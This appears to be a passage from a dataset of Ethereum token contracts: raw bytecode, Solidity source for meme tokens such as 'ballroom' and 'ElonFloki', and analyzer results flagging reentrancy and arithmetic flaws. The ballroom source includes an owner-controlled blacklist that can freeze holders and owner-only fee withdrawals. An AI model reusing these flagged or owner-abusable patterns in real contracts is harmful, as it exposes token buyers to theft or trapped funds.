95c9bc81c185e5bdd5d60aa1b604482015290519081900360640190fd5b33600081815260016020526040808220600b01805486019055600d8054860190555184156108fc0291859190818181858888f19350505050158015610fdf573d6000803e3d6000fd5b5060408051838152905133917f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364919081900360200190a2336000908152600160205260409020600301548111611078573360008181526001602090815260409182902060030154825190815291517f97ddeb77c85e6a1dd99a34fe2bb1a4f9b211d5ffced7a707de9dbeb24363d0e49281900390910190a25b5050565b6004818154811061108957fe5b9060005260206000209060209182820401919006915054906101000a900460ff1681565b6001600160a01b03811660009081526001602090815260408083206007015481516322566bcf60e21b81526004810191909152905183923092638959af3c9260248083019392829003018186803b15801561110757600080fd5b505afa15801561111b573d6000803e3d6000fd5b505050506040513d602081101561113157600080fd5b50516001600160a01b0384166000908152600160205260409020600801549091508111156111ce576001600160a01b0383166000908152600160205260409020600881015460098201546007909201546103e86201518064ffffffffff9094164203939093040260320291909104819003925082018110156111ce576001600160a01b038316600090815260016020526040902060080154810391505b915091565b600960209081526000928352604080842090915290825290205481565b6001600160a01b031660009081526001602052604090206002810154600a820154600b830154600c90930154919390929190565b6064610136919091020490565b6000546001600160a01b031690565b60075481565b600d5481565b60055464ffffffffff1681565b600160208190526000918252604090912080549181015460028201546003830154600484015460058501546006860154600787015460088801546009890154600a8a0154600b8b0154600c909b01546001600160a01b03909a169a989997989697959694959394929364ffffffffff9092169290918d565b6112d9611b00565b6112e1611b00565b60005b60045460ff8216101561139b5760ff81166000908152600a60205260409020546001600160a01b03166113165761139b565b60ff81166000818152600a60205260409020546001600160a01b03169084906004811061133f57fe5b6001600160a01b0392831660209182029290920191909152600754600090815260098252604080822060ff8616808452600a855282842054909516835290925220549083906004811061138e57fe5b60200201526001016112e4565b509091565b600281815481106113ad57fe5b600091825260209091200154905081565b6003818154811061108957fe5b600a602052600090815260409020546001600160a01b031681565b600c5481565b600b5481565b6113fc33826119a7565b611406333461064c565b50565b60088054601483040190556001600160a01b0382811660009081526001602081905260409091200154168061143e5750611078565b60075460009081526009602090815260408083206001600160a01b038516845290915281208054840190555b60045460ff821610156116655760ff81166000908152600a60205260409020546001600160a01b03838116911614156114a257611665565b60ff81166000908152600a60205260409020546001600160a01b03166114f25760ff81166000908152600a6020526040902080546001600160a01b0319166001600160a01b038416179055611665565b600754600090815260096020908152604080832060ff85168452600a8352818420546001600160a01b039081168552925280832054918516835290912054111561165d57600181015b60045460ff821610156115cf5760ff81166000908152600a60205260409020546001600160a01b03848116911614156115c757805b60045460ff8216116115c15760ff600182018181166000908152600a6020526040808220549390941681529290922080546001600160a01b0319166001600160a01b03909216919091179055611570565b506115cf565b60010161153b565b50600454600019015b8160ff168160ff16111561162c5760ff60001982018181166000908152600a6020526040808220549390941681529290922080546001600160a01b0319166001600160a01b039092169190911790556115d8565b5060ff81166000908152600a6020526040902080546001600160a01b0319166001600160a01b038416179055611665565b60010161146a565b50505050565b6005805464ffffffffff19164264ffffffffff16179055600780546001019055600854600a900460005b60045460ff821610156117915760ff81166000908152600a60205260409020546001600160a01b03166116c757611791565b6000606460048360ff16815481106116db57fe5b60009182526020918290209181049091015460ff601f9092166101000a90041684028161170457fe5b60ff84166000818152600a6020818152604080842080546001600160a01b0390811686526001845282862060050180549990980498890190975560088054899003905594909352908152915481518581529151949550909216927fdbdfa5cb8586917247fbe7178cf53555d199e091a14b06f7de5a182ece2d453a9281900390910190a250600101611695565b5060005b60045460ff821610156110785760ff81166000908152600a6020526040902080546001600160a01b0319169055600101611795565b3390565b6117d66117ca565b6000546001600160a01b03908116911614611838576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f19350505050158015611406573d6000803e3d6000fd5b6001600160a01b03808316600090815260016020819052604082200154909116905b60035460ff82161015611665576001600160a01b0382166118a657611665565b8060010160ff1660016000846001600160a01b03166001600160a01b03168152602001908152602001600020600201541061197e576000606460038360ff16815481106118ef57fe5b60009182526020918290209181049091015460ff601f9092166101000a90041685028161191857fe5b6001600160a01b03808616600081815260016020908152604091829020600601805496909504958601909455805185815290519495509189169390927f16e746f9be6c4b545700b04df27afb9fceabf59b94ef1c816e78a435059fabea928290030190a3505b6001600160a01b0391821660009081526001602081905260409091208101549092169101611886565b6001600160a01b0382811660009081526001602081905260409091200154161580156119e55750816001600160a01b0316816001600160a01b031614155b8015611a3457506001600160a01b03811660009081526001602052604090206009015464ffffffffff16151580611a345750611a1f611231565b6001600160a01b0316816001600160a01b0316145b15611078576001600160a01b038281166000818152600160208190526040808320820180546001600160a01b03191695871695861790558483528083206002018054909201909155517f9f4d150e5193cfa9a87226111d3b60b624d97ccc056eeeac1569af1ea27bf6419190a3600b8054600101905560005b60035460ff82161015610b0a576001600160a01b038216611acd57610b0a565b6001600160a01b039182166000908152600160208190526040909120600c81018054830190558101549092169101611aad565b6040518060800160405280600490602082028036833750919291505056fea264697066735822122090bdece16831cd2aa14e8bde157c9ef46f8f05a3b6b73d883c99084fdb34907364736f6c63430006080033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
3,084
0x8f2abd2448e3b2d8da385d0f543a3e3c09a98b5e
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ballroom is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "ballroom"; string private constant _symbol = "ballroom"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x4C67aC36447CAE8bb1F32f8E3A9D15990eB11A92); _buyTax = 13; _sellTax = 13; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 200000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 200000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 13) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 13) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610314578063c3c8cd8014610334578063c9567bf914610349578063dbe8272c1461035e578063dc1052e21461037e578063dd62ed3e1461039e57600080fd5b8063715018a6146102a25780638da5cb5b146102b757806395d89b411461013a5780639e78fb4f146102df578063a9059cbb146102f457600080fd5b8063273123b7116100f2578063273123b714610211578063313ce5671461023157806346df33b71461024d5780636fc3eaec1461026d57806370a082311461028257600080fd5b806306fdde031461013a578063095ea7b31461017a57806318160ddd146101aa5780631bbae6e0146101cf57806323b872dd146101f157600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50604080518082018252600881526762616c6c726f6f6d60c01b6020820152905161017191906118bd565b60405180910390f35b34801561018657600080fd5b5061019a610195366004611744565b6103e4565b6040519015158152602001610171565b3480156101b657600080fd5b50678ac7230489e800005b604051908152602001610171565b3480156101db57600080fd5b506101ef6101ea366004611876565b6103fb565b005b3480156101fd57600080fd5b5061019a61020c366004611703565b610447565b34801561021d57600080fd5b506101ef61022c366004611690565b6104b0565b34801561023d57600080fd5b5060405160098152602001610171565b34801561025957600080fd5b506101ef61026836600461183c565b6104fb565b34801561027957600080fd5b506101ef610543565b34801561028e57600080fd5b506101c161029d366004611690565b610577565b3480156102ae57600080fd5b506101ef610599565b3480156102c357600080fd5b506000546040516001600160a01b039091168152602001610171565b3480156102eb57600080fd5b506101ef61060d565b34801561030057600080fd5b5061019a61030f366004611744565b61084c565b34801561032057600080fd5b506101ef61032f366004611770565b610859565b34801561034057600080fd5b506101ef6108ef565b34801561035557600080fd5b506101ef61092f565b34801561036a57600080fd5b506101ef610379366004611876565b610af6565b34801561038a57600080fd5b506101ef610399366004611876565b610b2e565b3480156103aa57600080fd5b506101c16103b93660046116ca565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103f1338484610b66565b5060015b92915050565b6000546001600160a01b0316331461042e5760405162461bcd60e51b815260040161042590611912565b60405180910390fd5b6702c68af0bb1400008111156104445760108190555b50565b6000610454848484610c8a565b6104a684336104a185604051806060016040528060288152602001611aa9602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f9a565b610b66565b5060019392505050565b6000546001600160a01b031633146104da5760405162461bcd60e51b815260040161042590611912565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105255760405162461bcd60e51b815260040161042590611912565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461056d5760405162461bcd60e51b815260040161042590611912565b4761044481610fd4565b6001600160a01b0381166000908152600260205260408120546103f59061100e565b6000546001600160a01b031633146105c35760405162461bcd60e51b815260040161042590611912565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106375760405162461bcd60e51b815260040161042590611912565b600f54600160a01b900460ff16156106915760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610425565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106f157600080fd5b505afa158015610705573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072991906116ad565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077157600080fd5b505afa158015610785573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a991906116ad565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107f157600080fd5b505af1158015610805573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082991906116ad565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b60006103f1338484610c8a565b6000546001600160a01b031633146108835760405162461bcd60e51b815260040161042590611912565b60005b81518110156108eb576001600660008484815181106108a7576108a7611a59565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108e381611a28565b915050610886565b5050565b6000546001600160a01b031633146109195760405162461bcd60e51b815260040161042590611912565b600061092430610577565b905061044481611092565b6000546001600160a01b031633146109595760405162461bcd60e51b815260040161042590611912565b600e546109799030906001600160a01b0316678ac7230489e80000610b66565b600e546001600160a01b031663f305d719473061099581610577565b6000806109aa6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a0d57600080fd5b505af1158015610a21573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a46919061188f565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610abe57600080fd5b505af1158015610ad2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104449190611859565b6000546001600160a01b03163314610b205760405162461bcd60e51b815260040161042590611912565b600d81101561044457600b55565b6000546001600160a01b03163314610b585760405162461bcd60e51b815260040161042590611912565b600d81101561044457600c55565b6001600160a01b038316610bc85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610425565b6001600160a01b038216610c295760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610425565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cee5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610425565b6001600160a01b038216610d505760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610425565b60008111610db25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610425565b6001600160a01b03831660009081526006602052604090205460ff1615610dd857600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e1a57506001600160a01b03821660009081526005602052604090205460ff16155b15610f8a576000600955600c54600a55600f546001600160a01b038481169116148015610e555750600e546001600160a01b03838116911614155b8015610e7a57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e8f5750600f54600160b81b900460ff165b15610ebc576000610e9f83610577565b601054909150610eaf838361121b565b1115610eba57600080fd5b505b600f546001600160a01b038381169116148015610ee75750600e546001600160a01b03848116911614155b8015610f0c57506001600160a01b03831660009081526005602052604090205460ff16155b15610f1d576000600955600b54600a555b6000610f2830610577565b600f54909150600160a81b900460ff16158015610f535750600f546001600160a01b03858116911614155b8015610f685750600f54600160b01b900460ff165b15610f8857610f7681611092565b478015610f8657610f8647610fd4565b505b505b610f9583838361127a565b505050565b60008184841115610fbe5760405162461bcd60e51b815260040161042591906118bd565b506000610fcb8486611a11565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108eb573d6000803e3d6000fd5b60006007548211156110755760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610425565b600061107f611285565b905061108b83826112a8565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110da576110da611a59565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561112e57600080fd5b505afa158015611142573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116691906116ad565b8160018151811061117957611179611a59565b6001600160a01b039283166020918202929092010152600e5461119f9130911684610b66565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111d8908590600090869030904290600401611947565b600060405180830381600087803b1580156111f257600080fd5b505af1158015611206573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061122883856119b8565b90508381101561108b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610425565b610f958383836112ea565b60008060006112926113e1565b90925090506112a182826112a8565b9250505090565b600061108b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611421565b6000806000806000806112fc8761144f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061132e90876114ac565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461135d908661121b565b6001600160a01b03891660009081526002602052604090205561137f816114ee565b6113898483611538565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113ce91815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e800006113fc82826112a8565b82101561141857505060075492678ac7230489e8000092509050565b90939092509050565b600081836114425760405162461bcd60e51b815260040161042591906118bd565b506000610fcb84866119d0565b600080600080600080600080600061146c8a600954600a5461155c565b925092509250600061147c611285565b9050600080600061148f8e8787876115b1565b919e509c509a509598509396509194505050505091939550919395565b600061108b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f9a565b60006114f8611285565b905060006115068383611601565b30600090815260026020526040902054909150611523908261121b565b30600090815260026020526040902055505050565b60075461154590836114ac565b600755600854611555908261121b565b6008555050565b600080808061157660646115708989611601565b906112a8565b9050600061158960646115708a89611601565b905060006115a18261159b8b866114ac565b906114ac565b9992985090965090945050505050565b60008080806115c08886611601565b905060006115ce8887611601565b905060006115dc8888611601565b905060006115ee8261159b86866114ac565b939b939a50919850919650505050505050565b600082611610575060006103f5565b600061161c83856119f2565b90508261162985836119d0565b1461108b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610425565b803561168b81611a85565b919050565b6000602082840312156116a257600080fd5b813561108b81611a85565b6000602082840312156116bf57600080fd5b815161108b81611a85565b600080604083850312156116dd57600080fd5b82356116e881611a85565b915060208301356116f881611a85565b809150509250929050565b60008060006060848603121561171857600080fd5b833561172381611a85565b9250602084013561173381611a85565b929592945050506040919091013590565b6000806040838503121561175757600080fd5b823561176281611a85565b946020939093013593505050565b6000602080838503121561178357600080fd5b823567ffffffffffffffff8082111561179b57600080fd5b818501915085601f8301126117af57600080fd5b8135818111156117c1576117c1611a6f565b8060051b604051601f19603f830116810181811085821117156117e6576117e6611a6f565b604052828152858101935084860182860187018a101561180557600080fd5b600095505b8386101561182f5761181b81611680565b85526001959095019493860193860161180a565b5098975050505050505050565b60006020828403121561184e57600080fd5b813561108b81611a9a565b60006020828403121561186b57600080fd5b815161108b81611a9a565b60006020828403121561188857600080fd5b5035919050565b6000806000606084860312156118a457600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118ea578581018301518582016040015282016118ce565b818111156118fc576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119975784516001600160a01b031683529383019391830191600101611972565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119cb576119cb611a43565b500190565b6000826119ed57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a0c57611a0c611a43565b500290565b600082821015611a2357611a23611a43565b500390565b6000600019821415611a3c57611a3c611a43565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461044457600080fd5b801515811461044457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204a26d216dbb084463778e2e779b698a63266a34299ee1b78f6083dcd2c3a0ed064736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,085
0xEd1378C9f633B4C3aB8Cce6c3eF35445398ECaAc
// ElonFloki ($eFloki) // Telegram: https://t.me/eflokitoken // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ElonFlokiToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ElonFloki | t.me/eflokitoken"; string private constant _symbol = "eFloki \xF0\x9F\x92\xB9"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; 